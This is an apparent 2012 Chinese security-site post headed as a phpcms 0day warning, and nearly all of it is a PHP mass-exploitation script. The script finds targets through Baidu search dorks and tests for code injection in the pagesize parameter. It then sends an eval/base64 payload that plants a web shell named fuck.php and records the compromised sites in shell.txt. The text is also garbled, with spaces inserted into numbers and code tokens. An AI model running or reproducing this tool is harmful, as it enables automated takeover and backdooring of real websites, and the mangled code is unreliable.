phpcms-exp 0day-vulnerability warning-the black bar safety net

2012-03-03T00:00:00
ID MYHACK58:62201233237
Type myhack58
Reporter 佚名
Modified 2012-03-03T00:00:00

Description

Reprinted from dis9.com


<?

php

error_reporting(E_ERROR);

set_time_limit(0);

$keyword=’inurl:about/joinus’ ; // batch keywords

$timeout = 1;

$stratpage = 1;

$lastpage = 1 0 0 0 0 0 0 0;

for ($i=$stratpage ; $i<=$lastpage ; $i++ ){

$array=ReadBaiduList($keyword,$timeout,$i);

foreach ($array as $url ){

$url_list=file(‘url.txt’);

if (in_array(“$url\r\n”,$url_list)){

echo “[-] Links repeat\n”;

}else{

$fp = @fopen(‘url.txt’, ‘a’);

@fwrite($fp, $url.”\ r\n”);

@fclose($fp);

print_r(”

[-] Get...... $url\r\n”);

if(okbug($url)){

$exploit=exploit($url);

$ors=okor($url);

if ($ors){

echo “[*] Shell:-> “.$ url.”/ yp/fuck. php\n”;

$fp = @fopen(‘shell.txt’, ‘a’);

@fwrite($fp, $url.”/ yp/fuck. php\r\n”);

@fclose($fp);

}

}else{

print “[-] No Bug!\ n”;

}

}

}

}

function exploit($url){

$host=$url;

$port="8 0";

$content ='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jziiwimcipo0bzzxrfdgltzv9saw1pdcgwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucghwjywgj2enktsgdqonqgz3cml0zsgkznasjzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddkts%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWnobygifdwtiik7zgllkck7';

$data = ‘POST /yp/product. php? pagesize=${${@eval%2 8$_POST[a]%2 9}} HTTP/1.1'."\ r\n”;

$data .= “X-Forwarded-For: 199.1.88.29\r\n”;

$data .= “Referer: http://$host\r\n”;

$data .= “Content-Type: application/x-www-form-urlencoded\r\n”;

$data .= “User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0\r\n”;

$data .= “Host: $host\r\n”;

$data .= “Content-Length: “. strlen($content).”\ r\n”;

$data .= “Cache-Control: no-cache\r\n\r\n”;

$data .= $content.”\ r\n”;

$ock=fsockopen($host,$port);

if (!$ ock) {

echo “[*] No response from $host\n”;

}

fwrite($ock,$data);

while (! feof($ock)) {

$exp=fgets($ock, 1 0 2 4);

return $exp;

}

}

function okor($host){

$tmp = array();

$data = ”;

$fp = @fsockopen($host,8 0,$errno,$errstr,6 0);

@fputs($fp,”GET /yp/fuck.php HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n”);

while ($fp && ! feof($fp))

$data .= fread($fp, 1 0 2 4 0 0);

@fclose($fp);

if (strpos($data, '2 0 0') !== false) {

return true;

}else{

return false;

}

}

function okbug($host){

$tmp = array();

$data = ”;

$fp = @fsockopen($host,8 0,$errno,$errstr,6 0);

@fputs($fp,’GET /yp/product. php? view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1'."\ r\nHost:$host\r\nConnection: Close\r\n\r\n”);

while ($fp && ! feof($fp))

$data .= fread($fp, 1 0 2 4 0 0);

@fclose($fp);

if(preg_match(‘/(php. ini)/i’,$data)) {

return true;

}else{

return false;

}

}

function ReadBaiduList($keyword,$timeout,$nowpage)

{

$tmp = array();

//$data = ”;

$nowpage = ($nowpage-1)*1 0;

$fp = @fsockopen(‘www.baidu.com’,8 0,$errno,$errstr,$timeout);

@fputs($fp,”GET /s? wd=”. urlencode($keyword).”& amp;pn=”.$ nowpage.” HTTP/1.1\r\nHost:www.baidu.com\r\nConnection: Close\r\n\r\n”);

while ($fp && ! feof($fp))

$data .= fread($fp, 1 0 2 4);

@fclose($fp);

preg_match_all(“/\}\)\” href\=\”http\:\/\/([^~]*?)\” target\=\”\_blank\”/i”,$data,$tmp);

$num = count($tmp[1]);

$array = array();

for($i = 0;$i < $num;$i++)

{

$row = explode(‘/’,$tmp[1][$i]);

$array[] = str_replace(‘http://’,”,$row[0]);

}

return $array;

}

?& gt;